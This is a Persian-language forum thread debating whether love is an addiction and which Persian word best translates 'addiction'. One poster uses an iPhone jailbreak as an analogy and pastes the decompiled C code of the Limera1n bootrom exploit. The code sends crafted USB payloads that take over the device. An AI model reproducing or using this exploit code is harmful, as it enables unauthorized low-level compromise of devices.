undead_knight نوشته: Fallacies of definition - WiKi
addicted to what ؟به شخص؟در اعتیاد ما باید "استفاده" داشته باشیم،اگر سکس منظورته که خب میشه اعتیاد به سکس.
باید دقت کنی هر "علاقه ای" ای اعتیاد نیست،اگر کسی مثلا یک شی رو دوست داره و همیشه حملش میکنه بهش "معتاد" نیست،چون اعتیاد علائم دیگه ای هم داره.
به خود عشق؟این که میشه دور.
اعتیادهای رفتاری مثل اعتیاد به خرید،یا اعیتاد به مواد،مثل مواد مخدر ،علائم خاصی داره:
- loss of willpower
- harmful consequences
- unmanageable lifestyle
- tolerance or escalation of use
- withdrawal symptoms upon quitting
addiction - definition of addiction in the Medical dictionary - by the Free Online Medical Dictionary, Thesaurus and Encyclopedia.
شاید اینها در موارد خاصی از روابط موجود باشه ولی عشق در تعریف عام لزوما این ویژگی ها رو نداره.بعد اگر عشق "اروتیک" رو اینطور تعریف کردی باید به این نکته هم توجه کنی که سایر انواع دوست داشتن که بهشون عشق میگن"مثل مادر به فرزند" اشتراکات زیادی با عشق اروتیک داره،آیا اونها هم شامل این تعریف میشند؟!
آرَش تو که جای دیگر خود ات دریافته بودی, شکر برای این خوشیآور نیست چون شیرین و شکرین است, برای این خوشیآوره که مغز آنرا خوشیآور
مییابد.
خوگیریها و کژخوییها از اینرو دو دسته هستند, نرم و سخت. نرم بیشتر همان برنامههای درونی برای
فعالسازی گذرراههایِ پییاختهاین (neural pathways) میباشند, سخت نیز دستکاری خود مغز براه مادههایِ شیمیایی و کنشگرهایِ آهنکهربایین.
برای دریافت بهتر اینجور ببین که مغز چون رایانه به دو شیوه میتواند دستکاری شود. بگوییم تو یک iPhone داری و میخواهی "قفل" آنرا بشکنی یا jailbreak کنی,
این قفل به دو راه نرمافزار و سختافزار میتواند شکسته شود. شکستن نرمافزاریک آن میشود فعالسازی گذرراههایی که در کُد خود برنامه آمدهاند, برای نمونه apple یک روتین/روال آنجا گذاشته به این نام:
که این را یک هکر میتواند هوشمندانه یافته و بهرهکشیده (exploits) و آنرا دستی فرابخواند, که در فرهود روال کار کنونی همین است:
کد:
http://theiphonewiki.com/wiki/Limera1n_Exploit
signed int __cdecl upload_exploit() {
int device_type;
signed int payload_address;
int free_address;
int deviceerror;
char *chunk_headers_ptr;
unsigned int sent_counter;
//int v6;
signed int result;
//signed int v8;
int recv_error_code;
signed int payload_address2;
signed int padding_size;
char payload;
char chunk_headers;
//int v14;
//v14 = *MK_FP(__GS__, 20);
device_type = *(_DWORD *)(device + 16);
if ( device_type == 8930 ) {
padding_size = 0x2A800;
payload_address = 0x8402B001;
free_address = 0x8403BF9C;
} else {
payload_address = 0x84023001;
padding_size = 0x22800;
// free_address = (((device_type == 8920) – 1) & 0xFFFFFFF4) – 0x7BFCC05C;
if(device_type == 8920) free_address = 0x84033FA4;
else free_address = 84033F98;
}
memset(&payload, 0, 0x800);
memcpy(&payload, exploit, 0x230);
if (libpois0n_debug) {
//v8 = payload_address;
fprintf(stderr, 1, "Resetting device counters\n");
//payload_address = v8;
}
payload_address2 = payload_address;
deviceerror = irecv_reset_counters(client);
if ( deviceerror ) {
irecv_strerror(deviceerror);
fprintf(stderr, 1, &aCannotFindS[12]);
result = -1;
} else {
memset(&chunk_headers, 0xCC, 0x800);
chunk_headers_ptr = &chunk_headers;
do {
*(_DWORD *)chunk_headers_ptr = 1029;
*((_DWORD *)chunk_headers_ptr + 1) = 257;
*((_DWORD *)chunk_headers_ptr + 2) = payload_address2;
*((_DWORD *)chunk_headers_ptr + 3) = free_address;
chunk_headers_ptr += 64;
} while ((int *)chunk_headers_ptr != &v14);
if (libpois0n_debug)
fprintf(stderr, 1, "Sending chunk headers\n");
sent_counter = 0;
irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800);
memset(&chunk_headers, 0xCC, 0x800);
do {
sent_counter += 0x800;
irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800);
} while (sent_counter < padding_size);
if (libpois0n_debug)
fprintf(stderr, 1, "Sending exploit payload\n");
irecv_control_transfer(client, 0x21, 1, 0, 0, &payload, 0x800);
if (libpois0n_debug)
fprintf(stderr, 1, "Sending fake data\n");
memset(&chunk_headers, 0xBB, 0x800);
irecv_control_transfer(client, 0xA1, 1, 0, 0, &chunk_headers, 0x800);
irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800);
if (libpois0n_debug)
fprintf(stderr, 1, "Executing exploit\n");
irecv_control_transfer(client, 0x21, 2, 0, 0, &chunk_headers, 0);
irecv_reset(client);
irecv_finish_transfer(client);
if (libpois0n_debug) {
fprintf(stderr, 1, "Exploit sent\n");
if (libpois0n_debug)
fprintf(stderr, 1, "Reconnecting to device\n");
}
client = (void *)irecv_reconnect(client, 2);
if (client) {
result = 0;
} else {
if (libpois0n_debug) {
recv_error_code = irecv_strerror(0);
fprintf(stderr, 1, &aCannotFindS[12], recv_error_code);
}
fprintf(stderr, 1, "Unable to reconnect\n");
result = -1;
}
}
// compiler stack check
//if (*MK_FP(__GS__, 20) != v14)
// __stack_chk_fail(v6, *MK_FP(__GS__, 20) ^ v14);
return result;
}
راه دیگر و سختتر, راه سختافزاریک است. این روتین "decryptAndUnlock" زمانیکه فراخوانده میشود در فربود چه میکند؟ الکترونها را به
گذرراههایِ سختافزاریک (روی مادربُرد) میفرستد که از اندرکنش این ریزگان پیامبر و پیامگیر کنش و بازکنشهایی در تراز نرمافزاریک
رخمیدهند که ما آنرا "شکستن قفل" مینامیم (برنامهیِ قفل به پسزمینه میافتد و بهمان برنامهیِ کنترل روان میشود).
پس با برگشت به پُرسمان, دلباختگی چگونه کژخوییای است؟ دلباختگی در دستهیِ روانیک/نرمافزاریک مغز جای میگیرد.
مغز میتواند ازراه بازشناسی و فرمولویزهیِ الگوهایِ چهره, بوی تن, سدا و .. یک مُدل یادین (mental model) از دوستگان
بسازد که در فرهود خود یک روتین فرگشته است و کارکرد آن نیز در راستای پایبندانی زن و مرد به یکدیگر و آوردن بچه است. به دیگر سخن:
کژخویی در راستای زادآوری
کُدنُمای آن را همچو چیزی ببین:
کد:
IF (face() + sound() + ...) matches Dustgân THEN intenseGratification()
intenseGratification()
{
release_norepinephrine()
release_serotonin()
...
}
undead_knight نوشته: +معادل پارسی اعتیاد رو کژخویی نمیدونم،دو تا معنی داره و کژخویی معنی دومش رو دربر نمیگیره.ببین:
ad·dic·tion
[ ə díksh'n ]
[URL="http://www.bing.com/th?id=ApQ%252bYWkUnuoriXw100x100&pid=Dictionary"]
[/URL]
- drug dependence: a state of physiological or psychological dependence on a potentially harmful drug
- devotion: great interest in a particular thing to which a lot of time is devoted
خوگیری = عادت کردن
کژخویی = اعتیاد پیدا کردن
دُژخو = بداخلاق
کژخو = معتاد
خوگرفته = عادت کرده
...
پارسیگر